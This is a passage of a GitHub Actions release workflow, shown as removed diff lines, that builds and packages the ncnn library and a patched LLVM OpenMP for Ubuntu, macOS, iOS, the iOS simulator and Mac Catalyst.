ubuntu-2204-shared } - - { shared-lib: ON, os: ubuntu-24.04, id: ubuntu-2404-shared } - runs-on: ${{ matrix.opt.os }} - env: - PACKAGENAME: ncnn-${{ needs.setup.outputs.VERSION }}-${{ matrix.opt.id }} - steps: - - uses: actions/checkout@v4 - with: - submodules: true - - name: apt - run: | - sudo apt-get install -y libprotobuf-dev protobuf-compiler - - name: build - run: | - mkdir build && cd build - cmake -DCMAKE_BUILD_TYPE=Release -DCMAKE_INSTALL_PREFIX=install -DNCNN_VERSION_STRING="${{ needs.setup.outputs.VERSION }}" \ - -DNCNN_VULKAN=ON -DNCNN_BUILD_EXAMPLES=OFF -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_BENCHMARK=OFF -DNCNN_SHARED_LIB=${{ matrix.opt.shared-lib }} .. - cmake --build . -j $(nproc) - cmake --build . --target install/strip - - name: package - run: | - rm -rf ${{ env.PACKAGENAME }} - mkdir -p ${{ env.PACKAGENAME }} - cp -a build/install/* ${{ env.PACKAGENAME }} - rm -f ${{ env.PACKAGENAME }}.zip - zip -9 -y -r ${{ env.PACKAGENAME }}.zip ${{ env.PACKAGENAME }} - - name: upload-zip - uses: actions/upload-artifact@v4 - with: - name: ${{ env.PACKAGENAME }} - path: ${{ env.PACKAGENAME }}.zip - - openmp-macos: - runs-on: macos-13 - env: - OPENMP_VERSION: '18.1.2' - OPENMP_CMAKE_OPTIONS: | - -DCMAKE_TOOLCHAIN_FILE=../../toolchains/ios.toolchain.cmake \ - -DDEPLOYMENT_TARGET=$MAC_DEPLOYMENT_TARGET \ - -DENABLE_BITCODE=$ENABLE_BITCODE \ - -DENABLE_ARC=$ENABLE_ARC \ - -DENABLE_VISIBILITY=$ENABLE_VISIBILITY \ - -DCMAKE_INSTALL_PREFIX=install \ - -DCMAKE_BUILD_TYPE=Release \ - -DPERL_EXECUTABLE=/usr/local/bin/perl \ - -DLIBOMP_ENABLE_SHARED=OFF \ - -DLIBOMP_OMPT_SUPPORT=OFF \ - -DLIBOMP_USE_HWLOC=OFF \ - steps: - - name: cache-openmp - id: cache-openmp - uses: actions/cache@v4 - with: - path: openmp-install - key: openmp-macos-release-18.1.2-20240403 - - name: checkout - if: steps.cache-openmp.outputs.cache-hit != 'true' - uses: actions/checkout@v4 - - name: openmp - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - wget https://github.com/llvm/llvm-project/releases/download/llvmorg-${{ env.OPENMP_VERSION }}/cmake-${{ env.OPENMP_VERSION }}.src.tar.xz - tar -xf cmake-${{ env.OPENMP_VERSION }}.src.tar.xz - wget https://github.com/llvm/llvm-project/releases/download/llvmorg-${{ env.OPENMP_VERSION }}/openmp-${{ env.OPENMP_VERSION }}.src.tar.xz - tar -xf openmp-${{ env.OPENMP_VERSION }}.src.tar.xz - mv cmake-${{ env.OPENMP_VERSION }}.src/Modules/* openmp-${{ env.OPENMP_VERSION }}.src/cmake/ - cd openmp-${{ env.OPENMP_VERSION }}.src - wget https://github.com/nihui/llvm-project/commit/ef8c35bcf5d9cfdb0764ffde6a63c04ec715bc37.patch - patch -p2 -i ef8c35bcf5d9cfdb0764ffde6a63c04ec715bc37.patch - wget https://github.com/nihui/llvm-project/commit/5c12711f9a21f41bea70566bf15a4026804d6b20.patch - patch -p2 -i 5c12711f9a21f41bea70566bf15a4026804d6b20.patch - - name: build-x86_64 - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - cd openmp-${{ env.OPENMP_VERSION }}.src - mkdir -p build-x86_64 && cd build-x86_64 - cmake ${{ env.OPENMP_CMAKE_OPTIONS }} -DPLATFORM=MAC -DARCHS="x86_64" .. - cmake --build . -j 4 - cmake --build . --target install/strip - - name: build-arm64 - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - cd openmp-${{ env.OPENMP_VERSION }}.src - mkdir -p build-arm64 && cd build-arm64 - cmake ${{ env.OPENMP_CMAKE_OPTIONS }} -DPLATFORM=MAC_ARM64 -DARCHS="arm64" .. - cmake --build . -j 4 - cmake --build . --target install/strip - - name: merge-fat-library - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - rm -rf $GITHUB_WORKSPACE/openmp-install - mkdir -p $GITHUB_WORKSPACE/openmp-install - cp -a openmp-${{ env.OPENMP_VERSION }}.src/build-x86_64/install/include $GITHUB_WORKSPACE/openmp-install - mkdir -p $GITHUB_WORKSPACE/openmp-install/lib - lipo -create \ - openmp-${{ env.OPENMP_VERSION }}.src/build-x86_64/install/lib/libomp.a \ - openmp-${{ env.OPENMP_VERSION }}.src/build-arm64/install/lib/libomp.a \ - -o $GITHUB_WORKSPACE/openmp-install/lib/libomp.a - - name: upload - uses: actions/upload-artifact@v4 - with: - name: openmp-macos - path: openmp-install - - macos: - needs: [setup, openmp-macos] - strategy: - matrix: - opt: - - { vulkan: OFF, id: macos } - - { vulkan: ON, id: macos-vulkan } - runs-on: macos-13 - env: - PACKAGENAME: ncnn-${{ needs.setup.outputs.VERSION }}-${{ matrix.opt.id }} - NCNN_CMAKE_OPTIONS: | - -DCMAKE_TOOLCHAIN_FILE=../toolchains/ios.toolchain.cmake \ - -DDEPLOYMENT_TARGET=$MAC_DEPLOYMENT_TARGET \ - -DENABLE_BITCODE=$ENABLE_BITCODE \ - -DENABLE_ARC=$ENABLE_ARC \ - -DENABLE_VISIBILITY=$ENABLE_VISIBILITY \ - -DCMAKE_INSTALL_PREFIX=install \ - -DCMAKE_BUILD_TYPE=Release \ - -DOpenMP_C_FLAGS="-Xclang -fopenmp" -DOpenMP_CXX_FLAGS="-Xclang -fopenmp" \ - -DOpenMP_C_LIB_NAMES="libomp" -DOpenMP_CXX_LIB_NAMES="libomp" \ - -DOpenMP_libomp_LIBRARY="libomp.a" \ - -DNCNN_VERSION_STRING="${{ needs.setup.outputs.VERSION }}" \ - -DNCNN_BUILD_TOOLS=OFF \ - -DNCNN_BUILD_EXAMPLES=OFF \ - -DNCNN_BUILD_BENCHMARK=OFF \ - -DNCNN_VULKAN=${{ matrix.opt.vulkan }} \ - - steps: - - uses: actions/checkout@v4 - with: - submodules: true - - name: download-openmp-macos - uses: actions/download-artifact@v4 - with: - name: openmp-macos - path: openmp-macos - - name: install-openmp - run: | - sudo cp openmp-macos/include/* $DEVELOPER_DIR/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include - sudo cp openmp-macos/lib/libomp.a $DEVELOPER_DIR/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/lib - - name: build-x86_64 - run: | - mkdir build-x86_64 && cd build-x86_64 - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DPLATFORM=MAC -DARCHS="x86_64" .. - cmake --build . -j 4 - cmake --build . --target install/strip - - name: build-arm64 - run: | - mkdir build-arm64 && cd build-arm64 - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DPLATFORM=MAC_ARM64 -DARCHS="arm64" .. - cmake --build . -j 4 - cmake --build . --target install/strip - - name: package-openmp - run: | - rm -rf openmp.framework - mkdir -p openmp.framework/Versions/A/Headers - mkdir -p openmp.framework/Versions/A/Resources - ln -s A openmp.framework/Versions/Current - ln -s Versions/Current/Headers openmp.framework/Headers - ln -s Versions/Current/Resources openmp.framework/Resources - ln -s Versions/Current/openmp openmp.framework/openmp - cp openmp-macos/lib/libomp.a openmp.framework/Versions/A/openmp - cp -a openmp-macos/include/* openmp.framework/Versions/A/Headers/ - sed -e 's/__NAME__/openmp/g' -e 's/__IDENTIFIER__/org.llvm.openmp/g' -e 's/__VERSION__/18.1/g' Info.plist > openmp.framework/Versions/A/Resources/Info.plist - - name: package-glslang - if: matrix.opt.vulkan == 'ON' - run: | - rm -rf glslang.framework - mkdir -p glslang.framework/Versions/A/Headers - mkdir -p glslang.framework/Versions/A/Resources - ln -s A glslang.framework/Versions/Current - ln -s Versions/Current/Headers glslang.framework/Headers - ln -s Versions/Current/Resources glslang.framework/Resources - ln -s Versions/Current/glslang glslang.framework/glslang - libtool -static \ - build-x86_64/install/lib/libglslang.a \ - build-x86_64/install/lib/libMachineIndependent.a \ - build-x86_64/install/lib/libGenericCodeGen.a \ - build-x86_64/install/lib/libSPIRV.a \ - build-x86_64/install/lib/libOGLCompiler.a \ - build-x86_64/install/lib/libOSDependent.a \ - -o build-x86_64/install/lib/libglslang_combined.a - libtool -static \ - build-arm64/install/lib/libglslang.a \ - build-arm64/install/lib/libMachineIndependent.a \ - build-arm64/install/lib/libGenericCodeGen.a \ - build-arm64/install/lib/libSPIRV.a \ - build-arm64/install/lib/libOGLCompiler.a \ - build-arm64/install/lib/libOSDependent.a \ - -o build-arm64/install/lib/libglslang_combined.a - lipo -create build-x86_64/install/lib/libglslang_combined.a build-arm64/install/lib/libglslang_combined.a -o glslang.framework/Versions/A/glslang - cp -a build-x86_64/install/include/glslang glslang.framework/Versions/A/Headers/ - sed -e 's/__NAME__/glslang/g' -e 's/__IDENTIFIER__/org.khronos.glslang/g' -e 's/__VERSION__/1.0/g' Info.plist > glslang.framework/Versions/A/Resources/Info.plist - - name: package-ncnn - run: | - rm -rf ncnn.framework - mkdir -p ncnn.framework/Versions/A/Headers - mkdir -p ncnn.framework/Versions/A/Resources - ln -s A ncnn.framework/Versions/Current - ln -s Versions/Current/Headers ncnn.framework/Headers - ln -s Versions/Current/Resources ncnn.framework/Resources - ln -s Versions/Current/ncnn ncnn.framework/ncnn - lipo -create build-x86_64/install/lib/libncnn.a build-arm64/install/lib/libncnn.a -o ncnn.framework/Versions/A/ncnn - cp -a build-x86_64/install/include/* ncnn.framework/Versions/A/Headers/ - sed -e 's/__NAME__/ncnn/g' -e 's/__IDENTIFIER__/com.tencent.ncnn/g' -e 's/__VERSION__/1.0/g' Info.plist > ncnn.framework/Versions/A/Resources/Info.plist - - name: package - if: matrix.opt.vulkan == 'OFF' - run: | - rm -f ${{ env.PACKAGENAME }}.zip - zip -9 -y -r ${{ env.PACKAGENAME }}.zip openmp.framework ncnn.framework - - name: package - if: matrix.opt.vulkan == 'ON' - run: | - rm -f ${{ env.PACKAGENAME }}.zip - zip -9 -y -r ${{ env.PACKAGENAME }}.zip openmp.framework glslang.framework ncnn.framework - - name: upload-zip - uses: actions/upload-artifact@v4 - with: - name: ${{ env.PACKAGENAME }} - path: ${{ env.PACKAGENAME }}.zip - - openmp-ios: - runs-on: macos-13 - env: - OPENMP_VERSION: '18.1.2' - OPENMP_CMAKE_OPTIONS: | - -DCMAKE_TOOLCHAIN_FILE=../../toolchains/ios.toolchain.cmake \ - -DDEPLOYMENT_TARGET=$IOS_DEPLOYMENT_TARGET \ - -DENABLE_BITCODE=$ENABLE_BITCODE \ - -DENABLE_ARC=$ENABLE_ARC \ - -DENABLE_VISIBILITY=$ENABLE_VISIBILITY \ - -DCMAKE_INSTALL_PREFIX=install \ - -DCMAKE_BUILD_TYPE=Release \ - -DPERL_EXECUTABLE=/usr/local/bin/perl \ - -DLIBOMP_ENABLE_SHARED=OFF \ - -DLIBOMP_OMPT_SUPPORT=OFF \ - -DLIBOMP_USE_HWLOC=OFF \ - steps: - - name: cache-openmp - id: cache-openmp - uses: actions/cache@v4 - with: - path: openmp-install - key: openmp-ios-release-18.1.2-20240403 - - name: checkout - if: steps.cache-openmp.outputs.cache-hit != 'true' - uses: actions/checkout@v4 - - name: openmp - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - wget https://github.com/llvm/llvm-project/releases/download/llvmorg-${{ env.OPENMP_VERSION }}/cmake-${{ env.OPENMP_VERSION }}.src.tar.xz - tar -xf cmake-${{ env.OPENMP_VERSION }}.src.tar.xz - wget https://github.com/llvm/llvm-project/releases/download/llvmorg-${{ env.OPENMP_VERSION }}/openmp-${{ env.OPENMP_VERSION }}.src.tar.xz - tar -xf openmp-${{ env.OPENMP_VERSION }}.src.tar.xz - mv cmake-${{ env.OPENMP_VERSION }}.src/Modules/* openmp-${{ env.OPENMP_VERSION }}.src/cmake/ - cd openmp-${{ env.OPENMP_VERSION }}.src - wget https://github.com/nihui/llvm-project/commit/ef8c35bcf5d9cfdb0764ffde6a63c04ec715bc37.patch - patch -p2 -i ef8c35bcf5d9cfdb0764ffde6a63c04ec715bc37.patch - wget https://github.com/nihui/llvm-project/commit/5c12711f9a21f41bea70566bf15a4026804d6b20.patch - patch -p2 -i 5c12711f9a21f41bea70566bf15a4026804d6b20.patch - - name: build-arm64 - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - cd openmp-${{ env.OPENMP_VERSION }}.src - mkdir -p build-arm64 && cd build-arm64 - cmake ${{ env.OPENMP_CMAKE_OPTIONS }} -DPLATFORM=OS64 -DARCHS="arm64" .. - cmake --build . -j 4 - cmake --build . --target install/strip - - name: merge-fat-library - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - rm -rf $GITHUB_WORKSPACE/openmp-install - mkdir -p $GITHUB_WORKSPACE/openmp-install - cp -a openmp-${{ env.OPENMP_VERSION }}.src/build-arm64/install/include $GITHUB_WORKSPACE/openmp-install - mkdir -p $GITHUB_WORKSPACE/openmp-install/lib - cp openmp-${{ env.OPENMP_VERSION }}.src/build-arm64/install/lib/libomp.a $GITHUB_WORKSPACE/openmp-install/lib/libomp.a - - name: upload - uses: actions/upload-artifact@v4 - with: - name: openmp-ios - path: openmp-install - - ios: - needs: [setup, openmp-ios] - strategy: - matrix: - opt: - - { vulkan: OFF, id: ios } - - { vulkan: ON, id: ios-vulkan } - runs-on: macos-13 - env: - PACKAGENAME: ncnn-${{ needs.setup.outputs.VERSION }}-${{ matrix.opt.id }} - NCNN_CMAKE_OPTIONS: | - -DCMAKE_TOOLCHAIN_FILE=../toolchains/ios.toolchain.cmake \ - -DDEPLOYMENT_TARGET=$IOS_DEPLOYMENT_TARGET \ - -DENABLE_BITCODE=$ENABLE_BITCODE \ - -DENABLE_ARC=$ENABLE_ARC \ - -DENABLE_VISIBILITY=$ENABLE_VISIBILITY \ - -DCMAKE_INSTALL_PREFIX=install \ - -DCMAKE_BUILD_TYPE=Release \ - -DOpenMP_C_FLAGS="-Xclang -fopenmp" -DOpenMP_CXX_FLAGS="-Xclang -fopenmp" \ - -DOpenMP_C_LIB_NAMES="libomp" -DOpenMP_CXX_LIB_NAMES="libomp" \ - -DOpenMP_libomp_LIBRARY="libomp.a" \ - -DNCNN_VERSION_STRING="${{ needs.setup.outputs.VERSION }}" \ - -DNCNN_BUILD_BENCHMARK=OFF \ - -DNCNN_VULKAN=${{ matrix.opt.vulkan }} \ - - steps: - - uses: actions/checkout@v4 - with: - submodules: true - - name: download-openmp-ios - uses: actions/download-artifact@v4 - with: - name: openmp-ios - path: openmp-ios - - name: install-openmp - run: | - sudo cp openmp-ios/include/* $DEVELOPER_DIR/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS.sdk/usr/include - sudo cp openmp-ios/lib/libomp.a $DEVELOPER_DIR/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS.sdk/usr/lib - - name: build-arm64 - run: | - mkdir build-arm64 && cd build-arm64 - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DPLATFORM=OS64 -DARCHS="arm64" .. - cmake --build . -j 4 - cmake --build . --target install/strip - - name: package-openmp - run: | - rm -rf openmp.framework - mkdir -p openmp.framework/Versions/A/Headers - mkdir -p openmp.framework/Versions/A/Resources - ln -s A openmp.framework/Versions/Current - ln -s Versions/Current/Headers openmp.framework/Headers - ln -s Versions/Current/Resources openmp.framework/Resources - ln -s Versions/Current/openmp openmp.framework/openmp - cp openmp-ios/lib/libomp.a openmp.framework/Versions/A/openmp - cp -a openmp-ios/include/* openmp.framework/Versions/A/Headers/ - sed -e 's/__NAME__/openmp/g' -e 's/__IDENTIFIER__/org.llvm.openmp/g' -e 's/__VERSION__/18.1/g' Info.plist > openmp.framework/Versions/A/Resources/Info.plist - - name: package-glslang - if: matrix.opt.vulkan == 'ON' - run: | - rm -rf glslang.framework - mkdir -p glslang.framework/Versions/A/Headers - mkdir -p glslang.framework/Versions/A/Resources - ln -s A glslang.framework/Versions/Current - ln -s Versions/Current/Headers glslang.framework/Headers - ln -s Versions/Current/Resources glslang.framework/Resources - ln -s Versions/Current/glslang glslang.framework/glslang - libtool -static \ - build-arm64/install/lib/libglslang.a \ - build-arm64/install/lib/libMachineIndependent.a \ - build-arm64/install/lib/libGenericCodeGen.a \ - build-arm64/install/lib/libSPIRV.a \ - build-arm64/install/lib/libOGLCompiler.a \ - build-arm64/install/lib/libOSDependent.a \ - -o build-arm64/install/lib/libglslang_combined.a - cp build-arm64/install/lib/libglslang_combined.a glslang.framework/Versions/A/glslang - cp -a build-arm64/install/include/glslang glslang.framework/Versions/A/Headers/ - sed -e 's/__NAME__/glslang/g' -e 's/__IDENTIFIER__/org.khronos.glslang/g' -e 's/__VERSION__/1.0/g' Info.plist > glslang.framework/Versions/A/Resources/Info.plist - - name: package-ncnn - run: | - rm -rf ncnn.framework - mkdir -p ncnn.framework/Versions/A/Headers - mkdir -p ncnn.framework/Versions/A/Resources - ln -s A ncnn.framework/Versions/Current - ln -s Versions/Current/Headers ncnn.framework/Headers - ln -s Versions/Current/Resources ncnn.framework/Resources - ln -s Versions/Current/ncnn ncnn.framework/ncnn - cp build-arm64/install/lib/libncnn.a ncnn.framework/Versions/A/ncnn - cp -a build-arm64/install/include/* ncnn.framework/Versions/A/Headers/ - sed -e 's/__NAME__/ncnn/g' -e 's/__IDENTIFIER__/com.tencent.ncnn/g' -e 's/__VERSION__/1.0/g' Info.plist > ncnn.framework/Versions/A/Resources/Info.plist - - name: package - if: matrix.opt.vulkan == 'OFF' - run: | - rm -f ${{ env.PACKAGENAME }}.zip - zip -9 -y -r ${{ env.PACKAGENAME }}.zip openmp.framework ncnn.framework - - name: package - if: matrix.opt.vulkan == 'ON' - run: | - rm -f ${{ env.PACKAGENAME }}.zip - zip -9 -y -r ${{ env.PACKAGENAME }}.zip openmp.framework glslang.framework ncnn.framework - - name: upload-zip - uses: actions/upload-artifact@v4 - with: - name: ${{ env.PACKAGENAME }} - path: ${{ env.PACKAGENAME }}.zip - - openmp-ios-simulator: - runs-on: macos-13 - env: - OPENMP_VERSION: '18.1.2' - OPENMP_CMAKE_OPTIONS: | - -DCMAKE_TOOLCHAIN_FILE=../../toolchains/ios.toolchain.cmake \ - -DDEPLOYMENT_TARGET=$IOS_DEPLOYMENT_TARGET \ - -DENABLE_BITCODE=$ENABLE_BITCODE \ - -DENABLE_ARC=$ENABLE_ARC \ - -DENABLE_VISIBILITY=$ENABLE_VISIBILITY \ - -DCMAKE_INSTALL_PREFIX=install \ - -DCMAKE_BUILD_TYPE=Release \ - -DPERL_EXECUTABLE=/usr/local/bin/perl \ - -DLIBOMP_ENABLE_SHARED=OFF \ - -DLIBOMP_OMPT_SUPPORT=OFF \ - -DLIBOMP_USE_HWLOC=OFF \ - steps: - - name: cache-openmp - id: cache-openmp - uses: actions/cache@v4 - with: - path: openmp-install - key: openmp-ios-simulator-release-18.1.2-20240403 - - name: checkout - if: steps.cache-openmp.outputs.cache-hit != 'true' - uses: actions/checkout@v4 - - name: openmp - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - wget https://github.com/llvm/llvm-project/releases/download/llvmorg-${{ env.OPENMP_VERSION }}/cmake-${{ env.OPENMP_VERSION }}.src.tar.xz - tar -xf cmake-${{ env.OPENMP_VERSION }}.src.tar.xz - wget https://github.com/llvm/llvm-project/releases/download/llvmorg-${{ env.OPENMP_VERSION }}/openmp-${{ env.OPENMP_VERSION }}.src.tar.xz - tar -xf openmp-${{ env.OPENMP_VERSION }}.src.tar.xz - mv cmake-${{ env.OPENMP_VERSION }}.src/Modules/* openmp-${{ env.OPENMP_VERSION }}.src/cmake/ - cd openmp-${{ env.OPENMP_VERSION }}.src - wget https://github.com/nihui/llvm-project/commit/ef8c35bcf5d9cfdb0764ffde6a63c04ec715bc37.patch - patch -p2 -i ef8c35bcf5d9cfdb0764ffde6a63c04ec715bc37.patch - wget https://github.com/nihui/llvm-project/commit/5c12711f9a21f41bea70566bf15a4026804d6b20.patch - patch -p2 -i 5c12711f9a21f41bea70566bf15a4026804d6b20.patch - - name: build-x86_64 - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - cd openmp-${{ env.OPENMP_VERSION }}.src - mkdir -p build-x86_64 && cd build-x86_64 - cmake ${{ env.OPENMP_CMAKE_OPTIONS }} -DPLATFORM=SIMULATOR64 -DARCHS="x86_64" .. - cmake --build . -j 4 - cmake --build . --target install/strip - - name: build-arm64 - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - cd openmp-${{ env.OPENMP_VERSION }}.src - mkdir -p build-arm64 && cd build-arm64 - cmake ${{ env.OPENMP_CMAKE_OPTIONS }} -DPLATFORM=SIMULATORARM64 -DARCHS="arm64" .. - cmake --build . -j 4 - cmake --build . --target install/strip - - name: merge-fat-library - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - rm -rf $GITHUB_WORKSPACE/openmp-install - mkdir -p $GITHUB_WORKSPACE/openmp-install - cp -a openmp-${{ env.OPENMP_VERSION }}.src/build-x86_64/install/include $GITHUB_WORKSPACE/openmp-install - mkdir -p $GITHUB_WORKSPACE/openmp-install/lib - lipo -create \ - openmp-${{ env.OPENMP_VERSION }}.src/build-x86_64/install/lib/libomp.a \ - openmp-${{ env.OPENMP_VERSION }}.src/build-arm64/install/lib/libomp.a \ - -o $GITHUB_WORKSPACE/openmp-install/lib/libomp.a - - name: upload - uses: actions/upload-artifact@v4 - with: - name: openmp-ios-simulator - path: openmp-install - - ios-simulator: - needs: [setup, openmp-ios-simulator] - strategy: - matrix: - opt: - - { vulkan: OFF, id: ios-simulator } - - { vulkan: ON, id: ios-simulator-vulkan } - runs-on: macos-13 - env: - PACKAGENAME: ncnn-${{ needs.setup.outputs.VERSION }}-${{ matrix.opt.id }} - NCNN_CMAKE_OPTIONS: | - -DCMAKE_TOOLCHAIN_FILE=../toolchains/ios.toolchain.cmake \ - -DDEPLOYMENT_TARGET=$IOS_DEPLOYMENT_TARGET \ - -DENABLE_BITCODE=$ENABLE_BITCODE \ - -DENABLE_ARC=$ENABLE_ARC \ - -DENABLE_VISIBILITY=$ENABLE_VISIBILITY \ - -DCMAKE_INSTALL_PREFIX=install \ - -DCMAKE_BUILD_TYPE=Release \ - -DOpenMP_C_FLAGS="-Xclang -fopenmp" -DOpenMP_CXX_FLAGS="-Xclang -fopenmp" \ - -DOpenMP_C_LIB_NAMES="libomp" -DOpenMP_CXX_LIB_NAMES="libomp" \ - -DOpenMP_libomp_LIBRARY="libomp.a" \ - -DNCNN_VERSION_STRING="${{ needs.setup.outputs.VERSION }}" \ - -DNCNN_BUILD_BENCHMARK=OFF \ - -DNCNN_VULKAN=${{ matrix.opt.vulkan }} \ - - steps: - - uses: actions/checkout@v4 - with: - submodules: true - - name: download-openmp-ios-simulator - uses: actions/download-artifact@v4 - with: - name: openmp-ios-simulator - path: openmp-ios-simulator - - name: install-openmp - run: | - sudo cp openmp-ios-simulator/include/* $DEVELOPER_DIR/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator.sdk/usr/include - sudo cp openmp-ios-simulator/lib/libomp.a $DEVELOPER_DIR/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator.sdk/usr/lib - - name: build-x86_64 - run: | - mkdir build-x86_64 && cd build-x86_64 - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DPLATFORM=SIMULATOR64 -DARCHS="x86_64" .. - cmake --build . -j 4 - cmake --build . --target install/strip - - name: build-arm64 - run: | - mkdir build-arm64 && cd build-arm64 - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DPLATFORM=SIMULATORARM64 -DARCHS="arm64" .. - cmake --build . -j 4 - cmake --build . --target install/strip - - name: package-openmp - run: | - rm -rf openmp.framework - mkdir -p openmp.framework/Versions/A/Headers - mkdir -p openmp.framework/Versions/A/Resources - ln -s A openmp.framework/Versions/Current - ln -s Versions/Current/Headers openmp.framework/Headers - ln -s Versions/Current/Resources openmp.framework/Resources - ln -s Versions/Current/openmp openmp.framework/openmp - cp openmp-ios-simulator/lib/libomp.a openmp.framework/Versions/A/openmp - cp -a openmp-ios-simulator/include/* openmp.framework/Versions/A/Headers/ - sed -e 's/__NAME__/openmp/g' -e 's/__IDENTIFIER__/org.llvm.openmp/g' -e 's/__VERSION__/18.1/g' Info.plist > openmp.framework/Versions/A/Resources/Info.plist - - name: package-glslang - if: matrix.opt.vulkan == 'ON' - run: | - rm -rf glslang.framework - mkdir -p glslang.framework/Versions/A/Headers - mkdir -p glslang.framework/Versions/A/Resources - ln -s A glslang.framework/Versions/Current - ln -s Versions/Current/Headers glslang.framework/Headers - ln -s Versions/Current/Resources glslang.framework/Resources - ln -s Versions/Current/glslang glslang.framework/glslang - libtool -static \ - build-x86_64/install/lib/libglslang.a \ - build-x86_64/install/lib/libMachineIndependent.a \ - build-x86_64/install/lib/libGenericCodeGen.a \ - build-x86_64/install/lib/libSPIRV.a \ - build-x86_64/install/lib/libOGLCompiler.a \ - build-x86_64/install/lib/libOSDependent.a \ - -o build-x86_64/install/lib/libglslang_combined.a - libtool -static \ - build-arm64/install/lib/libglslang.a \ - build-arm64/install/lib/libMachineIndependent.a \ - build-arm64/install/lib/libGenericCodeGen.a \ - build-arm64/install/lib/libSPIRV.a \ - build-arm64/install/lib/libOGLCompiler.a \ - build-arm64/install/lib/libOSDependent.a \ - -o build-arm64/install/lib/libglslang_combined.a - lipo -create \ - build-x86_64/install/lib/libglslang_combined.a \ - build-arm64/install/lib/libglslang_combined.a \ - -o glslang.framework/Versions/A/glslang - cp -a build-x86_64/install/include/glslang glslang.framework/Versions/A/Headers/ - sed -e 's/__NAME__/glslang/g' -e 's/__IDENTIFIER__/org.khronos.glslang/g' -e 's/__VERSION__/1.0/g' Info.plist > glslang.framework/Versions/A/Resources/Info.plist - - name: package-ncnn - run: | - rm -rf ncnn.framework - mkdir -p ncnn.framework/Versions/A/Headers - mkdir -p ncnn.framework/Versions/A/Resources - ln -s A ncnn.framework/Versions/Current - ln -s Versions/Current/Headers ncnn.framework/Headers - ln -s Versions/Current/Resources ncnn.framework/Resources - ln -s Versions/Current/ncnn ncnn.framework/ncnn - lipo -create \ - build-x86_64/install/lib/libncnn.a \ - build-arm64/install/lib/libncnn.a \ - -o ncnn.framework/Versions/A/ncnn - cp -a build-x86_64/install/include/* ncnn.framework/Versions/A/Headers/ - sed -e 's/__NAME__/ncnn/g' -e 's/__IDENTIFIER__/com.tencent.ncnn/g' -e 's/__VERSION__/1.0/g' Info.plist > ncnn.framework/Versions/A/Resources/Info.plist - - name: package - if: matrix.opt.vulkan == 'OFF' - run: | - rm -f ${{ env.PACKAGENAME }}.zip - zip -9 -y -r ${{ env.PACKAGENAME }}.zip openmp.framework ncnn.framework - - name: package - if: matrix.opt.vulkan == 'ON' - run: | - rm -f ${{ env.PACKAGENAME }}.zip - zip -9 -y -r ${{ env.PACKAGENAME }}.zip openmp.framework glslang.framework ncnn.framework - - name: upload-zip - uses: actions/upload-artifact@v4 - with: - name: ${{ env.PACKAGENAME }} - path: ${{ env.PACKAGENAME }}.zip - - openmp-mac-catalyst: - runs-on: macos-13 - env: - OPENMP_VERSION: '18.1.2' - OPENMP_CMAKE_OPTIONS: | - -DCMAKE_TOOLCHAIN_FILE=../../toolchains/ios.toolchain.cmake \ - -DDEPLOYMENT_TARGET=$MAC_CATALYST_DEPLOYMENT_TARGET \ - -DENABLE_BITCODE=$ENABLE_BITCODE \ - -DENABLE_ARC=$ENABLE_ARC \ - -DENABLE_VISIBILITY=$ENABLE_VISIBILITY \ - -DCMAKE_INSTALL_PREFIX=install \ - -DCMAKE_BUILD_TYPE=Release \ - -DPERL_EXECUTABLE=/usr/local/bin/perl \ - -DLIBOMP_ENABLE_SHARED=OFF \ - -DLIBOMP_OMPT_SUPPORT=OFF \ - -DLIBOMP_USE_HWLOC=OFF \ - steps: - - name: cache-openmp - id: cache-openmp - uses: actions/cache@v4 - with: - path: openmp-install - key: openmp-mac-catalyst-release-18.1.2-20240403 - - name: checkout - if: steps.cache-openmp.outputs.cache-hit != 'true' - uses: actions/checkout@v4 - - name: openmp - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - wget https://github.com/llvm/llvm-project/releases/download/llvmorg-${{ env.OPENMP_VERSION }}/cmake-${{ env.OPENMP_VERSION }}.src.tar.xz - tar -xf cmake-${{ env.OPENMP_VERSION }}.src.tar.xz - wget https://github.com/llvm/llvm-project/releases/download/llvmorg-${{ env.OPENMP_VERSION }}/openmp-${{ env.OPENMP_VERSION }}.src.tar.xz - tar -xf openmp-${{ env.OPENMP_VERSION }}.src.tar.xz - mv cmake-${{ env.OPENMP_VERSION }}.src/Modules/* openmp-${{ env.OPENMP_VERSION }}.src/cmake/ - cd openmp-${{ env.OPENMP_VERSION }}.src - wget https://github.com/nihui/llvm-project/commit/ef8c35bcf5d9cfdb0764ffde6a63c04ec715bc37.patch - patch -p2 -i ef8c35bcf5d9cfdb0764ffde6a63c04ec715bc37.patch - wget https://github.com/nihui/llvm-project/commit/5c12711f9a21f41bea70566bf15a4026804d6b20.patch - patch -p2 -i 5c12711f9a21f41bea70566bf15a4026804d6b20.patch - - name: build-x86_64 - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - cd openmp-${{ env.OPENMP_VERSION }}.src - mkdir -p build-x86_64 && cd build-x86_64 - cmake ${{ env.OPENMP_CMAKE_OPTIONS }} -DPLATFORM=MAC_CATALYST -DARCHS="x86_64" .. - cmake --build . -j 4 - cmake --build . --target install/strip - - name: build-arm64 - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - cd openmp-${{ env.OPENMP_VERSION 